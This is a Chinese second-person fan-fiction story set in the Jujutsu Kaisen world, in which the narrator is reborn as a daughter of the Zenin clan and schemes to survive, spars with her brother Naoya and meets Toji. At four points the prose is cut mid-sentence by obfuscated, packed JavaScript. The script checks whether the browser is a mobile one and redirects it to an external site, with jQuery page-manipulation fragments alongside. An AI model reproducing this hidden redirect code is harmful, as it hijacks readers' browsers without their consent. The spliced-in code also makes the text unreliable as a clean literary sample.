《先在禅院家活下去!》 1. 你,堂堂重生! 你觉得你死了。 这绝不是什么妄断的推论,也不是你一厢情愿的胡思乱想,因为就在刚才,你确实被迎面而来的大卡车碾了过去,连痛楚都还没来得及降临,就已经一命呜呼了。 你感觉你要转生了。 这也不是过分自信的胡思乱想,因为在知晓自己已经死去的当下,你依然保持着意识清晰的状态,并且来到了城市的上空,高楼全都被你踩在脚下,环绕在身边的众多看不清细节的漆黑人形像是马上要对着你鼓掌说“祝贺你!”了,完全和EVA的最终集一模一样。 坏了,难道现在轮到你驾驶EVA了吗? 你开始不安。 无论怎么想,你都不觉得自己能当适格者,更加不打算成为过分阴郁的碇真嗣,毕竟他不是你的风格——但要是变成明日香的话,你还是会稍微考虑一下的。 所以你等待着,耐心地等待着,直到一个声音从天顶落下,从头盖骨砸下来。 “祝贺你。你是‘被选中的那一个’。” 果然是“祝贺你”啊!你不会真的要去开EVA了吧! 你准备逃了,却迈不开步伐——仔细看看,你压根就没有腿,也不具备人形。 你完全就是个虚无缥缈的存在。 你想尖叫,但叫不出来,只能呆呆地停滞在这个空间之中,听那个声音说出更多。 “我会给你重新开始的机会,但你必须完成一个目标。” 目标? 你眨眨不存在的眼睛:“是什么目标?” “你必须活过二十岁,如此一来,你的崭新人生就能继续。” 咦,听起来好像还挺简单的? “顺便一提,你转生的地点是东洋的岛国——日本。” 噢……这就有点不好说了。 你虽然很想为了第二次的人生高兴一下,但果然还是没办法轻松地高兴起来,只想问:“要是没完成目标,会怎么样?” “不怎么样。你的人生会再次重开,并且再次回到这里,重新选择你的人生开局,直到你能够顺利活过二十岁为止。”那个声音把话说得更明白了一些,“也就是说,在顺利活到成年之前,你的人生只能不停循环重复。” 哦哦哦,原来是这样的……这怎么就“不怎样”了! 你有点恼怒,可惜只能无能狂怒。 没办法,谁叫你已经死了,能施舍你重开的机会就该为此谢天谢地了,于是你的怒火没骨气地瘪了下去,扭扭捏捏地问对方重开的人生会是什么样的。而一只看不见的大手一挥,三颗光球落在了你的眼前。 绿色、蓝色、红色……现在是在玩《精灵宝可梦》吗,要开始选择你的初始小精灵了? “这是供你选择的转生世界。”那个声音循循善诱,并不嫌弃你的笨蛋秉性,很耐心地说,“蓝色是咒术回战,红色是名侦探柯南,剩下这个的是文豪野犬。挑一个你喜欢的去吧。” “哦——” 好消息,这三部作品你全看过,而且你都挺喜欢的。 坏消息当然是,将无疾而终贯彻到底的你,哪部作品都没看到结局。 想想这些故事不约而同全都发生在不太平安的东京(以及它旁边的横滨),你汗流浃背了。 “就没有《药屋少女的呢喃》可以选吗?中华宫廷风我很拿手的!” “抱歉让你失望了,但是没有。” “就只有这三个选项?” “没错。” “呃——” 你开始头大了。 在你看来,这三个世界的生存概率都不那么高。 柯学每年都要炸一回,文野天天都打架,咒回嘛……要是躲过了一些关键事件,说不定存活概率还挺高的? 你一下子就下定了决心。 “咒回!”你大声说,生怕自己反悔,“我去咒回!” “好。我将会为你送上我的祝福。” 居然还能有新手大礼包,妙哇! 你竖起耳朵,耐心地听下去。 “你将作为御三家的孩子诞生。” 你心下一喜。 “你是这个家里真正的天才。” 你开始偷笑。 “你会成为了不起的人物。” 你可以确信了——你将转生成五条悟! 能拿到这么一张好牌,你当然迫不及待了,毫不犹豫地钻进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817854|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光球之中。坠落感随即而来,稍稍让你有些心慌,但也不至于那么害怕。 坠落感达到顶点,你沉沉落下,从黑暗中睁开双眼。 古旧的宅子弥漫着沉闷的木头香气,挂在墙壁上的日历写着“1998年12月15日”。 距离圣诞节还有十天,理所应当的在这个家里没有看到半点圣诞节特有的红绿色装饰,只有穿着和服的下人走来又走去,这大概是眼前唯一能看到的热闹元素了。 一个男孩探头过来,闯进你的视野里。你看到他嫌弃地皱起了脸。 “长得好丑,像个老头子。”他撇撇嘴,“我不要当丑八怪的哥哥。” 哥哥? 不对,你不是要转生成五条悟的嘛。五条悟有哥哥吗? 小男孩虽然嘴欠,一张漂亮脸蛋却很眼熟,你绝对在原作漫画里见到过,尤其一双标志又好看的狐狸眼更是不能轻易忘记的存在,但对不起这位小帅哥,你实在想不起他的名字了。 事实证明,这小子不仅嘴欠,手也很欠,光是嘴上的奚落还不够,居然开始动手戳你的脸了,把你肉乎乎的婴儿脸蛋戳凹一个坑,还得意兮兮地说:“母亲生下的是个妹妹也好。我可不想多一个人和我竞争家主候选人的位置。” 你对这种自信发言过敏,毫不犹豫地立刻挥舞手臂,硬是把他碍事的手拍走了,而后适时地爆发出婴儿特有的尖锐大哭,成功地把对方吓了一大跳。 乳母慌慌张张地把你抱起来,哄好之后才把你放进了浮着一层酒气的白发老头的怀里。他的手臂垮了一下,差点把你甩在地上。 险些就这么窝囊地死在出生点,看来你的人生会相当不容易。 “家主大人,夫人诞下了一个很健康的女孩。请赐给她个名字吧。” 乳母毕恭毕敬地说。 大概是你父亲的老头子瞄了眼浮在庭院的阳光,提起酒壶眯了一口,以叹息似的声调给你选定了名字。 “就叫夏栖吧。夏栖。” 在这个寒冷的冬日,他给你取了个夏日霞光般的名字。 然后,你,禅院夏栖,你就此诞生——而你差点就在襁褓里大喊“怎么会是禅院家啊啊啊!”。 2. 你,规划未来 正如之前所说,你没有看完咒术回战,但禅院家男尊女卑和重强欺弱的封建秉性是漫画进度尚未看到死灭回游的你都能知道的事情。 讲道理,咒术世界的御三家都是这副调性,作为女孩的你转生到谁家都是差不多的待遇,注定要经历专家难度级别的人生开局。 躺在婴儿床上,每天除了吃就是睡,以至于睡眠时间可以媲美猫咪的年幼的你每天都在认真思考,琢磨着在御三家活到二十岁的最佳人生路线。 思来想去,你觉得你应该当上禅院家的家主。 这可不是什么狂妄的念头,而是脚踏实地得出的结论。 在转生之前,那个声音曾说过,你会成为这个家真正的天才,但你猜应该不是什么智力方面的天才,因为你经常觉得自己是个笨蛋。既然如此,那就只能是个咒术小天才了。 要是一个咒术方面的天才不当家主,岂有此理! 再说了,咒术师是死亡概率相当高的职业,而你想要在禅院家立足,首先就必须成为咒术师。但如果能够同时肩负“未来家主”的这重身份,想必会有一大帮人前赴后继地保护你的安全,漫长的二十年也绝对会变成信手拈来的简单任务。更别提你爹正是现任家主禅院直毘人,你又比家里的其他孩子离家主之位更近一步。 这么想着,你顿时觉得安心了不少,眼睛一闭,开始倒头睡大觉。 这可不是偷懒哟!身为婴儿的你,现阶段的任务是好好长大,而没有什么是比梦乡更滋润一个小婴儿的了。 “啧——” 讨人厌的声音又响起来了。 你不用翻动眼皮都能知道是谁又跑过来了,当然是你的哥哥禅院直哉——你的家主之位的最有力竞争者。 直毘人和正妻的两个孩子分别出生在二十世纪最后十年的一头一尾,直哉生在1991年的盛夏,而你,夏栖,则是1998年的冬日出生的,七岁的微妙年龄差加上早已显露的术式天赋让他在你的面前自命不凡,每回过来都是对你指指点点,有够烦人的。 比如现在,他会说:“一天到晚都在睡觉,真没用。这种废柴真能当我妹妹吗?” 一边抱怨着你,他还要做出吐舌头的鬼脸吓唬你。而你看着直哉这张尚且算是纯洁可爱的年幼面孔,想到的全都是他长大之后那副欠打的屑脸,然后又顺便想起了他的抹布文,忍不住心虚地移开了目光。 对不起,以前小头控制大头,看了直哉的一些——对不起其实是很多抹布文,非常对不起! 越想越觉得罪恶,你干脆闭上了眼,翻了个身躲开直哉的目光。他嫌你没意思,但还是气鼓鼓地捏了下你的脸才走开。 你健康而茁壮地长大,像个正常孩子那样一点一点进步。 母亲对你爱答不理,把你丢给乳母,自己则专心且低微地照顾着天才儿子直哉,低眉顺眼的模样一点都不像是他的母亲,却似乎是他的仆人了。倒也正常,这里是禅院家嘛。 父亲嘛,他还算喜欢你,毕竟你早就已经开始了讨好家主的计划。 像个乖孩子那样不吵不闹,见到直毘人就挤出又乖又甜的笑容,把他的臂弯当做最安全的港湾,尽管在你出生的那天,他就差点把你摔在地上。 为了不让自己显得像是个乖到有点呆的小朋友,你还要时不时表现出调皮的一面,比如像是揪一揪直毘人的胡子,或是在他的书法作品上印下自己的手掌印,然后咯咯咯笑个不停,让老爷子也陪你一起会心一笑。所以他常常把你放在他的膝头上玩耍,哪怕偶尔是在比较严肃的场合也让你留在身边。 你知道直毘人为什么喜欢你。 你是他唯一的女儿,不哭不闹又可爱,他无需付出多少父爱,就可以得到你给予他的情绪价值。 也就是说,他不是像爱孩子那样爱你,而是在爱一只小猫或是小狗,也可能是把你当成了吉祥物。但没关系,你正在努力呢。 所以开口说的话第一句话当然要是“父亲”,顺利地把这个年龄能当你爷爷的男人逗得哈哈大笑。 “再喊一声试试。” 你配合地挥舞小手:“父亲!父亲!” 直毘人喜笑颜开,而恰好在场的直哉一副不高兴的面孔。 “来。”直毘人扶着你站起来,指了指直哉,问你,“知道他是谁吗?” 直哉瞬间坐正了身子,扬起的下巴怎么看都像是在说“快叫我哥哥!”,但你才不想让这家伙如愿呢。 你还是笑吟吟,举着手臂大喊:“直哉!直哉!” 直哉的脸一下子失望地瘪了下去,笑容全都转移到了直毘人的脸上。他笑个不停,丝毫不觉得你的无礼有多么不好,还夸你说:“真聪明!我们夏栖是个聪明姑娘啊!” 与此同时,刚过完八岁生日的你哥气得鼻子都歪了。 事实证明,直哉这个讨厌的家伙果然是很讨厌,从那之后居然更加频繁地来骚扰你了,每次都瞪着眼在你耳边说:“哥哥!是哥哥!快像别人那样叫我哥哥!” 而你:“直哉!” 一边对他直呼其名,一边不忘伸出手假装要他抱抱,吓得直哉原地弹射,逃也似的跑走了,而你窃笑不止,心想尚未成型的大男子主义果然好对付。 到了又一年冬季,你觉得是时候像这个月龄的小朋友那样学会走路了。 乳母带你去庭院学步,家主大人当然是没空来看你的,那你也没必要扮演一点就通的神童,索性慢悠悠地走在草地上。 这副躯体对你来说还是太不灵活了一点,走起路来总是摇摇晃晃。你努力适应,踏实地迈出每一步。 “嘻!”听到了嬉笑声。 你回过头,直哉和一群比他年长些的兄长们站在不远处,那双和你很不一样的漂亮狐狸眼眯了起来,正在用戏谑的目光看着你,他抬起的手也在指你。 “看她。”他嘲笑你,“走路的样子多怪!” 年长些的男孩也搭腔:“就是!一点也不像端庄的禅院家女子!” 有人跟着点头:“她肯定不如直哉少爷您啦!” “没错没错。” 真烦。 把自得感建立在小孩身上的直哉讨人厌,吹捧他的那群半大不小的男孩也讨厌。你很不爽,不假思索地转过身,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817855|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直哉走过去——或是说,冲过去。 崭新的躯体直到这会儿才变得稍稍顺畅了一些,你的每一步都坚定且义无反顾。 要是中途没有发生任何意外情况,你将直接来到直哉的面前,一拳头砸向他的腘窝,让他整条腿都弯折过去,看他还敢不敢说你坏话。 计划是挺好的,可惜出现了这个“要是”。 现实情况是,你在距离直哉一步之遥的位置脚下一滑,整个人不受控制地猛往前扑。为了站稳身子,你必须抓住眼前一切可以抓住的东西——在此刻的场景下,这个东西是直哉的腿。 顺便,你结实的脑袋撞到了他的膝盖,让他“嗷”地叫了一声。 虽然锤人计划中道奔殂,但头槌攻击确实胜利了,可喜可贺! 乳母慌慌张张地追过来,又是点头又是道歉,还不忘说:“看呐直哉少爷,夏栖小姐多喜欢您!” 毕竟,不管怎么看,紧紧抱着哥哥小腿的你,都像是兄友妹恭的场景,也难怪直哉一副微妙的表情,不知道是高兴还是嫌弃——很可能是既高兴又嫌弃,所以他并没有一脚把你踢开,只是把你这只固执的小抱脸虫轻轻推开,然后僵着面孔快速走开了。 不知道和这段小插曲是否有关系,在过完周岁生日之后,你的房间就被安排在了直哉的小院里唯一空的那间房,且这间房就在直哉寝室的旁边——明明是嫡子却没有属于自己的一整个小院这种事还挺糟心的吧。 更糟心的是,你差不多天天都要和他见面,这种事还是挺叫人郁闷的,好在直哉对你那些幼稚的情绪全都消停了些,最多就是调皮地扯扯你的头发,当然你也会扯回来,除此之外,一切都还算平静。你享受着为数不多平静的童年时光,只在攻略老爹这件事上专心且认真。 你知道的,在显露了术式之后,你就要凭实力正式加入艰难的家主继承人的争夺战之中了。 那个声音说你会是天才。你的术式究竟会是什么呢?真期待啊—— 你躺在榻榻米上畅想,一阵仓皇的脚步声打断了你的思绪。原来是直哉跑回了房间。他的脸分外苍白,什么表情也没有,不知道是见到了什么。 能让直哉吃瘪的东西,那一定是你的笑料。于是你也赶紧追了上去,像每个调皮妹妹会做的那样跳到他的眼前,大声问:“直哉!你怎么啦?” 他瞄了你一眼,飞快地收回了目光,嘀咕着:“我看到了……” “看到什么了?” “那个没咒力的废物……他明明很强诶……” 哦——原来剧情已经进行到“天才少年被天与暴君吓到自闭”的环节了。 你了然般点点头,心想自己好像也可以稍稍攻略一下禅院甚尔。 成为家主需要足够多的支持,对剧情了解够多的你足够当个预言家。要是能够避免甚尔死亡的结局,将他纳入自己的麾下,显然是个不错的主意。 同为这个家中最为边缘的存在,他一定会知道你的野心的实现会有多难,也一定能够支持你吧。 最重要的是…… ……你怎么忍心让这世上少一个双开门帅哥! 3. 你,开始攻略 攻略甚尔的第一步是什么呢? 真不好意思这么说,但你需要迈出的第一步,其实是见到甚尔。 你现在已经平安无恙地长到了三岁,怎么想也是个正经大孩子了,对禅院家这张巨大地图的解锁进度却无限趋近于零,去过的地方少得可怜,见过的人更是不多,简直同这个家的陌生人无疑。 你后悔了,你真不该过分贪恋眼下这种有吃有喝没人对你进行实力歧视的好日子的。 既然懊恼了,就该对此进行反省,然后好好改正才对。你不想浪费时间,当天傍晚就趁着乳母不注意,偷偷溜出了房间,穿过庭院,朝着你也不那么确定的方向前进。 以前偷听老爹和别人谈事情时提起过,没有术式的禅院家成员统统都被发配去了名叫“躯俱留”的护卫队伍之中,想来甚尔就在那里。而咒术师组成的队伍“炳”位于大宅的西南角,你猜想躯俱留的住所应该也不会隔得太远。 话虽如此…… ……西南角在什么位置啊? 对于基本方位都缺乏感知的你,感觉自己要卡在第一步了。 但没关系。你自信这个年纪的自己长得可爱,口齿也还算伶俐,只要装出最听话最乖巧的样子问问身边的人就好啦! “请问,您知道躯俱留的队伍在哪里吗?” 你随手逮住了一个干杂活的大姐姐,对方当然对你的询问很意外:“去那儿做什么?” “我想去找哥哥玩。” 这个家里认识你的还不多,当然不会知道你哥哥是小天才直哉,所以稍稍撒个谎也是没关系的。 大姐姐显然被你骗过去了,表情一下子变得很嫌弃,想必是把自称着“哥哥无术式”的你也当成了无术式的存在,拿着扫帚指了一个方向就走开了,多余的话一句都不想和你说。你乐得自在,嗒啪嗒啪迈着小短腿走在路上,与一群拎着咒具的男孩子们擦肩而过,还好里头没有直哉。 你可不想被直哉知道你去找甚尔了。 啪嗒啪嗒走了好一会儿,似乎都快走到宅邸的最角落了,躯俱留的住所却没看到。难道走错方向了吗? 你挠挠头,踮起脚尖往远处看。 事实证明,视线就算只是抬高了三厘米,能看到的东西也多多了。 譬如像是现在,你看到了站在乱糟糟紫藤花架下的漆黑身影,硕大的一个,正躲在那儿抽烟,尼古丁味的烟雾从他的头顶上接连不断地冒出来。同样黑洞洞的眼神就垂在地面上,不知道在盯着什么,或许并未在注视任何东西吧。 你看了又看,没错,就是甚尔。 为了自己的健康成长考虑,你等待甚尔抽完这支烟、且空气中的尼古丁气味稍微消散一些之后,才匆匆忙忙跑过去,一开口就是元气满满的“甚尔!”——嗯,你平等地不会称呼任何人为“哥”,哪怕是在此刻很需要拍马屁的场合也不想违背本心。 大概算是理所应当,甚尔并没有搭理你,估计是没有听到你的声音,连目光也没有动弹一下,自顾自从兜里抽出又一支香烟,拇指在打火机上摩挲了三圈,可惜都没打起火来。你抓紧机会,赶紧跳到他的面前。 “甚尔!你可以帮帮我吗?” 甚尔抬了抬眼皮,直到这会儿才总算是愿意看你了,依旧是叼着烟,说出口的话都显得更沉闷了些。 “你谁?” “我叫夏栖。”你摆出小孩子特有的一本正经,“夏天的夏,栖息的栖。夏栖。” 显然甚尔对这种事并不在意。他第四次拨弄打火机。这次总算有火了。 点燃了烟,他毫不避讳地在你的面前吞云吐雾。你们大眼瞪小眼了一会儿,谁也不说话。 “所以。”你率先开口,“你可以帮我吗?” 他自顾自抛出疑问:“你是直毘人的女儿?” “嗯。拜托你帮帮我,可以吗?”你的攻略之心已经怎么都藏不住了,“我的发卡被乌鸦叼到树上去了,我够不到。要是被母亲知道,她要骂我的。你很高,帮我拿回来,好不好?” “不好。” “为什么?” “麻烦。” “拜托你啦!” 你开始发挥抱脸虫的精髓,一下子扒在了他的腿上,说什么也不撒手,就算甚尔不耐烦地甩腿,你自巍然不动。 “拜托啦!拜托啦!”你目标坚定,“只有你能帮我啦!” 可能是你着实磨人,也有小概率的可能性是他真的被你打动了,在一声相当无奈的叹息声之后,你的四肢离开了地面,也离开了甚尔温暖结实的小腿——你被他揪着衣领子提起来了。 “哇!”你像个海龟似的动动手脚,“厉害诶!” 甚尔懒得搭理你,只问:“你的东西掉到哪里了?我们快去快回。” 不想把他惹毛的你赶紧收敛起调皮臭小孩的模样:“就在花园的围墙上,那里有个乌鸦巢。” 于是他提溜着你,就像拎了一只小狗那样来到花园。 这会儿庭院里没有什么人在,真是太好了。你相信你和甚尔全都不想要听到恶意满满的“没咒力的废物只能和小孩混在一起”之类的话。 绕到花园一角,在栽着夹竹桃的树丛旁,一窝叽叽喳喳的乌鸦鸟窝就立在低矮的围墙上。你信誓旦旦地对甚尔说,自己的发卡一定被叼到这里了。 你的确信源于你亲自把发卡丢进了这个鸟窝里。 甚尔抓了抓脑袋,看看鸟窝又看了看你,毫不犹豫地将你举过头顶,把你丢在了围墙上。 “你自己上去捡吧。”并且说出了这种很不温柔的话语。 你在谁也看不见的地方气恼地攥紧了拳头。 在禅院家想要遇到一个温柔体贴的好男人就这么难吗! 事实证明,这件事确实挺难的。甚尔把你放在围墙上之后,就觉得事情已了,甩甩袖子准备走了,直到你叫嚷着“没有你我下不去!”才总算是没有迈出离开的脚步,但揣着双手的样子怎么看还是很不上心的样子。 唯一值得高兴的大概是,在你终于在乱糟糟的鸟窝里找到发卡时,他果断地向你伸出了手,而不是揪着你的衣领把你带下围墙。 “现在满意了吧?”他叹着气说。 “嗯!” 你心满意足地点点头,余光瞥见到了被他牵在掌心里的你的手,心想,作为初次的攻略,你做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817856|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得应该算是很不错吧。 既然如此,你要得寸进尺。 “送我回房间吧,甚尔!”你蹦蹦跳跳,“天黑了,我一个人害怕。” 甚尔显然已经被你磨得没性子了,没说什么抱怨的话语,拉着你往前走。 其实,和甚尔手牵手,不是什么特别舒适的体验。 他长得实在太高了,又不懂得迁就你的矮个子,你必须直直地举起手臂,才能勉强被他牵着走,但这副模样不管怎么看都很像是被拽着一只手的洋娃娃。 一路走回到房间,你全程都在担心自己会不会脱臼。 完成了你们之间无聊的约定,他头也不回地走了,对你毫无眷恋。 与他的初次见面要是就这么没头没尾地结束,总觉得不太好。你匆忙在他身后大喊:“以后,要是甚尔你有什么需要我帮忙的事情,就告诉我吧!我会全力以赴地帮你哦!” 甚尔没有回应,当然也没回头,甩了甩袖子大概就算是答复了,倒也不赖。你乐得在房间里蹦跶了三圈,然后被隔壁的直哉以“吵死人了!”抱怨了一通。但没关系,直哉发出的声音,你一向是当做耳旁风对待的。 你耐心盘算着对甚尔的攻略计划,不急不躁地期待下一次与他的见面,顿时觉得在禅院家的无聊日子终于有点盼头了。 然而下次见面还没到来,你倒是先听说了甚尔逃离禅院家的消息,而且还是和家里的女眷一起私奔了,算得上一个不大不小的轰动。 对于两个无用之人的叛逃,谁也没有送上过多的在意,当然也不会急着把他带回家。 说句实话,全家上下对这个消息最震惊的大概只有你,还有你的哥哥直哉了。他惊讶的表情像是吃下了一只苍蝇,叽叽咕咕念叨着的全都是和甚尔有关的事情。 他一会儿说:“是强大到不甘心待在禅院家了吗?怎么会这样呢。” 他一会儿又说:“和他一起走的女人又普通又没天赋,到底是怎么得到甚尔中意的?” 他还说:“总有一天甚尔会回来吧。这可是禅院家啊,离开禅院家还了得?” 而你忍不住想,利益即得者果然丝毫不懂得低头往下看,于是你也懒得安慰他了。 你还得安慰你自己呢,毕竟你一度自信地以为自己与甚尔建立起了羁绊,而这份羁绊足以让他在未来也支持你。 到了甚尔离家的现在,你也不得不承认,你完美无缺(并不)的甚尔攻略计划,彻底宣告失败了。 禅院家主的宝座好像离你稍微远了一点,顺利活到二十岁的难度是不是又提升了一点?你郁闷地用手拖着下巴,少年老成地跟直哉一起叹气,拼凑出了一支微妙的兄妹叹息曲。 没有了甚尔,禅院家依然照常运转——严谨、规矩、无趣地运转。 你度过了觉醒咒力和术式前的最后一个闲散冬天,每日都在庭院里消磨时间,或者是当直哉的小跟屁虫看他训练,并且在他期待着你的夸奖时送上不知所谓的微笑。 日子就这么无趣地度过。 到了春寒料峭之时,禅院家终于有了一点算得上是新鲜事的小事发生——扇叔父的妻子生下了一对双胞胎女婴。 4. 你,口不择言 之所以称之为小事,而不是好消息,当然是因为扇叔父的妻子生下的是一对不吉利的双胞胎,甚至还是不顶用的女孩,这种事在禅院家想来算不上多好。 话虽如此,礼节还是不能少。挑了个最暖和的日子,母亲带你和哥哥前去向扇叔父道喜。 嘴上说是道喜,你更觉得母亲是去得意洋洋地炫耀的,毕竟她有一个天才的儿子,和一个捎带手的女儿,而不是污秽的双生子。 扇叔父的妻子怀了双胞胎,这件事早在妊娠中期就是人尽皆知的事情了,只是那时候大家还不确定腹中孩子的性别,所以多少还能抱有一点无用的期待——这里可是禅院家,哪怕没有咒力,也一定是男孩更好。 一路上,你听着母亲如何以故作惋惜的语调说着扇叔父的妻子生产不易,又说起家里另一对没咒力的双子在躯俱留的队伍里也排不上用场,还惦记着要如何安慰扇叔父呢,听得你白眼都要翻到天上去了。 “妈,夏栖眼睛不正常了!” 看到你翻白眼的直哉毫不犹豫地向母亲告状。 好消息是,被直哉一打扰,母亲自鸣得意的话语总算是消停了些,你的耳朵清净了。 不太好的是,她嫌弃地瞥了你一眼,把粗糙得像砂纸一样的手掌搭在你的额头上,怀疑你生了什么怪病。 “要是觉得哪里不舒服,就回去吧。”这可不是什么关切的话语,因为紧接着的下一句就是,“别在扇叔父那儿丢了你父亲的面子。” 原来你还背负着父亲的尊严啊—— 无论是母亲一本正经的腔调还是一本正经的发言,全都听得你想笑。但你总算是收起那副不认真的模样了,像每个三岁小朋友那样乖巧地点点头。 “我没有不舒服,只是睫毛掉进眼睛里了。”你找了这么个借口。 你哥满不高兴地撇嘴,觉得你是个大骗子。他明明看到你翻白眼了。 直哉没有继续同你拌嘴下去,纯粹只是因为禅院扇的小院近在眼前。他如母亲所愿那样扮成乖巧听话的小天才,你也要毕恭毕敬地对那个阴沉着脸的男人喊“叔父”,喊床上暗自啜泣的女人为“叔母”。 母亲送上京都藤花堂寓意多子的和式点心,以一副过来人的语调宽慰这对刚刚诞下不吉利双生子的夫妻,未来尚且漫长,言下之意不言而喻。 大人们寒暄的当口,小孩子自然是插不上话的。你干脆拉着直哉去看新生的妹妹们。 早早知道这对叫作“真希”和“真依”的姐妹未来长大后的样子,你愈发对她们幼年的模样好奇,忍不住踮起脚尖,扒在婴儿床边,拼命往里打量。 你的妹妹们安静地睡在里头,肉乎乎泛着绯红色泽的脸颊像是夏日的桃子,漏出安稳的呼吸声。她们双手紧握,依偎在一起,对于外界的事情与未来的惆怅一无所知。真好。 在令人烦躁的、又相当无趣的禅院家,终于能够见到一些温暖而宁静的事物,你甘之如饴,直到直哉烦人的脑袋挤过来,小嘴嫌弃地一撇,说出的话实在让人不爱听。 “好难看。”他说得毫不留情,转而开始取笑你,“知道吗?你小时候和她们俩一样,也这么丑。” 你懒得搭理小男孩的嘴碎,但还是想要呛他:“你肯定是记错了。” “当然没记错。” 直哉自信地扬起下巴,没有对自己的这番气人发言质疑哪怕半秒钟,洋洋自得地继续说:“知道吗,你刚出生的时候,整张脸都红彤彤皱巴巴的,像只猴子,难看的要命。我当时都忍不住想,这么丑陋的小东西,怎么配当我的妹妹!” 直哉当时岂止是停留在“想”的阶段,完全就是把这份嫌弃说出口了好嘛。 你暗戳戳这么想,看在他的面子上才没把话直白地说出口。 你只说:“那你小时候也一样,肯定也是这么丑。” 他想也不想丢来反驳,听起来好像有些气急败坏完全是在嚷嚷着:“怎么可能!” 你一脸平淡,理直气壮说:“怎么不可能。我们是兄妹啊。” 你哥的鼻子又要气歪了。 “我不可能会是那副丑样子!不可能!” 破防的他上蹿下跳。 “我们现在就去问妈,她一定记得我刚出生的样子,也知道我没那么丑的!” 你眯起一双绿眼睛,很无奈似的重重叹气。 “知道自己说不过我,这就要去找母亲撑腰了吗?”你两手一摊,很无所谓的模样,“你要是不觉得这样很丢脸的话,我是无所谓啦。” 直哉烦人的嘴被堵得严严实实,以至于耳朵都涨红了。他伸出手来,想要揪你的脸,但大概是实在气急了,伸出的手又悻悻地收了回去,化作拳头,无力地对着空气锤了一拳。 “禅院夏栖!”他嚷嚷着,“你知不知道,你真的很讨人厌!” 你笑得害羞,还故作不好意思地挠了挠头:“哎呀——多谢夸奖!” 这是禅院直哉的彻底失败! 在你们兄妹俩无聊的拌嘴终于一分高下之时,母亲和扇叔父他们的大人寒暄也结束了。她慢悠悠迈着步子走过来,撩起和服的衣袖,轻轻拂过双生子浓密得胎发,笑得像是和蔼的姨母。 “扇、芥子,你们的孩子很乖呢,和夏栖小时候一样。” 她说。 “别太担心双生子的束缚了。就算是女儿,说不定也能拥有像我们直哉一样的天赋呢。” 母亲笑着眯起眼,这双狐狸似的眼睛让你第一次意识到直哉的双眼是继承自她。而她说着宽慰的话语,明里暗里送上的却全都不是美好的祈愿。你觉得好不自在。 偷看一眼直哉。 刚才被你击溃的他的尊严已经在母亲的三言两语中重新铸成了,他笑得得体且得意,垂眸睨着你,目光像是在说,你可没被母亲夸赞呢。 但你其实无所谓。 你无所谓这个家对你的看法。 “孩子们的名字取好了吗?”母亲问扇叔父。 禅院扇的表情已经阴沉得很难看了,不过还是颔了颔首,说尚未选定双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817857|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生子的名字。 “我想请兄长为我的女儿们取名。” 在最郁闷的时刻还不忘卖直毘人一个人情,你忍不住感叹他百折不挠的性格,顺便在脑海中过了一遍这个角色的结局。 嗯……好像没什么结局吧? 貌似就是随意地出场了一下,后面就没有太多故事了。但不是那种打心底疼爱没天赋的孩子的守旧派,你也不打算攻略这种人。 于是向扇叔父道别,不要忘记同睡得正香的双子挥挥手。 下次见了,真希,还有真依。 与妹妹们见面的高兴足够冲淡一切无趣。你心情大好,轻快地蹦跶在路上,心里还在想着真希和真依的事情。 “双生子一定会有很了不得的默契感吧?听说还能有心灵感应呢。”你跳着跳着,差点把直哉和母亲全都甩在身后,“一起出生、一起长大、一起分担人生中的好与坏,真好啊!要是我也能有个双胞胎的兄弟姐妹就好了。” 结果一不小心把心里话说出来了。 母亲瞪着你,仿佛你说出了什么大逆不道的话语。 “双生子有什么好的?不吉!”她啐了一口,“你有直哉这么优秀的哥哥就足够了,不要谋求不可能发生的事情。听到我说的了吗,夏栖?” 过分现实的话语一定挂在了你的脚背上,一下子拽着步伐往下沉。你再也不想蹦跶了,像个乖孩子那样点了点头,应着“好”。 母亲的训诫时间还没有结束。 “还有,今年的咒灵试炼会放在夏天进行。夏栖,你还记着这件事吧?别看现在只是二月,天很快就会热起来的,你也到了参加咒灵试炼的年龄了。” 